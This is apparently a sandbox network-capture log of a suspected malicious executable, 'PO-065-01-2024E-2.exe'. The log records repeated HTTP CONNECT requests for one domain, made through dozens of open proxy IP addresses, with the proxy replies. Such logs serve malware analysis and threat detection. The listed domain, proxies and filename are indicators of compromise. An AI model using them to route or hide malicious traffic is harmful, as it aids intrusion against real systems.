Mar 11, 2024 16:39:51.852423906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.083158016 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.10	54729	104.16.108.234	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.854499102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.008728027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.10	54486	94.73.251.19	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.856898069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.10	54597	188.166.28.88	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.857063055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.676486015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.583395004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489289999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.176651001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.10	54429	103.182.112.11	5000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.861192942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.902234077 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.10	54599	47.243.114.192	8180	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.861262083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.10	54416	175.183.82.221	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.873095989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.10	54326	103.153.154.6	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.881237030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.10	54750	104.19.120.84	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.892302990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.046338081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.10	54683	154.205.152.96	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.895535946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.105976105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.10	54568	45.120.178.197	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.895957947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.10	53939	117.54.114.102	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.899463892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.10	54475	175.183.82.221	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.914109945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.10	54703	18.117.144.248	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.915661097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.133306980 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.10	54557	103.216.49.233	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.915781975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.10	53915	51.161.33.206	29360	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.915783882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489173889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.177033901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489389896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176709890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.786094904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.473674059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.786132097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:18.285629034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.10	54453	102.132.201.202	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.916064978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.10	53102	70.166.167.55	57745	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.916362047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.10	54604	195.25.20.108	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.916913033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.066374063 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.10	54732	45.196.151.97	5432	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.924443960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.143589973 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.10	54829	211.234.125.5	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.931488037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.10	54831	211.234.125.5	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.932291985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.10	53600	98.188.47.132	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.932975054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.10	54833	211.234.125.5	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.933166027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.10	54835	211.234.125.5	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.934092045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.10	51001	132.148.16.169	52326	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.935802937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.004576921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.056572914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.207845926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.10	54752	162.223.89.84	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.947375059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.303353071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:40:00 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.10	50974	190.53.45.222	33333	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.947547913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.10	50809	149.102.130.120	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.948841095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.004636049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.056587934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.207863092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.244779110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.410646915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.410628080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.535667896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.10	54607	157.185.173.217	26589	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

